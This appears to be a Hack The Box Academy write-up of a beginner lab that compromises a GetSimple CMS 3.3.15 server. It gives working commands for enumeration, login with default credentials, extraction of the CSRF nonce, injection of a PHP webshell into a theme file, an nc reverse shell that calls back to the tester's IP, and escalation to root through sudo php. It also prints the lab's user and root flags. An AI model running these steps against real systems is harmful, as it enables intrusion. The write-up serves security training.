HTB Academy — Knowledge Check

Getting Started Module — Final Challenge

GetSimple CMS 3.3.15 — Full Compromise

Author: Calm Ay (Rasaq Ayomide)

Platform: Hack The Box Academy

Module: Getting Started — Knowledge Check

Target IP: 10.129.42.249

OS: Linux (Ubuntu)

Difficulty: Beginner

Date: May 29, 2026

---

1. Reconnaissance

Performed initial service version scan to identify open ports and running services. No special flags needed — host responded to standard probes.

```
nmap -sV --open -oA initial_scan 10.129.42.249
```

Findings: Port 22 (OpenSSH 8.2p1 Ubuntu) and Port 80 (Apache 2.4.41 Ubuntu). Standard Linux web server attack surface.

2. Web Enumeration

With a web server on port 80, performed technology fingerprinting and directory brute forcing to identify the application and any hidden paths.

```
whatweb http://10.129.42.249
curl http://10.129.42.249
```

Finding: GetSimple CMS 3.3.15 identified. Domain: gettingstarted.htb. Title confirmed CMS type and version in the page source.

Added domain to /etc/hosts for proper resolution:

```
echo "10.129.42.249 gettingstarted.htb" | sudo tee -a /etc/hosts
```

Directory brute force revealed key paths:

```
gobuster dir -u http://10.129.42.249 -w /usr/share/wordlists/dirb/common.txt
```

Findings: /admin/ (301), /backups/ (301), /data/ (301), /plugins/ (301). Directory listing enabled on /data/ exposing users, pages, uploads, and cache directories.

3. Exploit Discovery

With the CMS name and version confirmed, searched for known public exploits:

```
searchsploit getsimple cms
```

Key findings: Multiple exploits available including arbitrary file upload (EDB-40008), RCE (EDB-51475), and an unauthenticated RCE Metasploit module (EDB-46880). Chose the authenticated file upload/theme editor approach since admin access was obtained.

4. Admin Access

Attempted default credentials on the admin panel at /admin/. admin:admin worked immediately — a critical misconfiguration.

```
# Browser: http://10.129.42.249/admin/
# Credentials: admin:admin
```

Result: Full admin access to GetSimple CMS dashboard.

5. Initial Foothold — Theme Editor RCE

The GetSimple CMS theme editor allows authenticated admins to edit PHP theme files directly. This is the intended functionality but creates a direct code execution path when admin access is obtained. The CSRF token protection was bypassed by extracting the nonce from the page and including it in the POST request.

Step 1 — Extract CSRF nonce:

```
# Login and save session cookies
curl -c /tmp/cookies.txt -b 'testcookie=1' \
  -d 'userid=admin&pwd=admin&submitted=Login' \
  http://10.129.42.249/admin/index.php -L

# Extract nonce token
NONCE=$(curl -s -b /tmp/cookies.txt \
  'http://10.129.42.249/admin/theme-edit.php?t=Innovation&f=template.php' \
  | grep -o 'name="nonce" type="hidden" value="[^"]*"' \
  | grep -o 'value="[^"]*"' | cut -d'"' -f2)
```

Step 2 — Inject PHP webshell into theme file:

```
curl -b /tmp/cookies.txt \
  --data-urlencode "content=<?php system(\$_GET['cmd']); ?>" \
  -d "edited_file=Innovation/template.php&nonce=$NONCE&submitsave=Save+Changes" \
  'http://10.129.42.249/admin/theme-edit.php?t=Innovation&f=template.php'
```

Step 3 — Verify RCE:

```
curl 'http://10.129.42.249/?cmd=id'
```

Result: Command execution confirmed as www-data.

Step 4 — Upgrade to full reverse shell:

```
# Terminal 1 - listener
nc -lvnp 9443

# Terminal 2 - trigger
curl 'http://10.129.42.249/?cmd=rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.194+9443+
```

Upgraded shell with Python3 PTY:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

User Flag:

```
7002d65b149b0a4d19132a66feed21d8
```

6. Privilege Escalation

After gaining a shell as www-data, the first step was checking sudo privileges. This is always the fastest privesc check on Linux systems.

```
sudo -l
```

Finding: www-data can run /usr/bin/php as ANY user with NOPASSWD. PHP can execute system commands making this an instant root escalation.

Exploited using GTFOBins PHP technique:

```
sudo php -r "system('/bin/bash');"
```

Result: Instant root shell — no password required.

Root Flag:

```
f1fba6e9f71efb2630e6e34da6387842
```

7. Key Takeaways

Always enumerate all ports: Full port scans catch services on non-standard ports that quick scans miss.

Technology fingerprinting: whatweb and curl give fast CMS identification before deeper enumeration.

Directory listing is a vulnerability: Exposed /data/ and /backups/ directories revealed application structure and potential sensitive files.

Default credentials are still common: admin:admin remains one of the most common credentials in web applications.

CSRF bypass via nonce extraction: CSRF tokens can be bypassed by automating the token extraction and reuse in the same session.

Theme/plugin editors are RCE vectors: Any CMS feature that allows PHP file editing is a direct code execution path when admin access is obtained.

GTFOBins is essential: sudo rights on interpreters (php, python, perl, ruby) are instant privesc via GTFOBins techniques.

sudo -l always first: Never skip sudo enumeration — it's the simplest and most reliable privesc check.

Tools Used: Nmap, whatweb, curl, Gobuster, searchsploit, netcat, PHP (GTFOBins)

Written by Calm Ay — linkedin.com/in/rasaq-ayomide-sec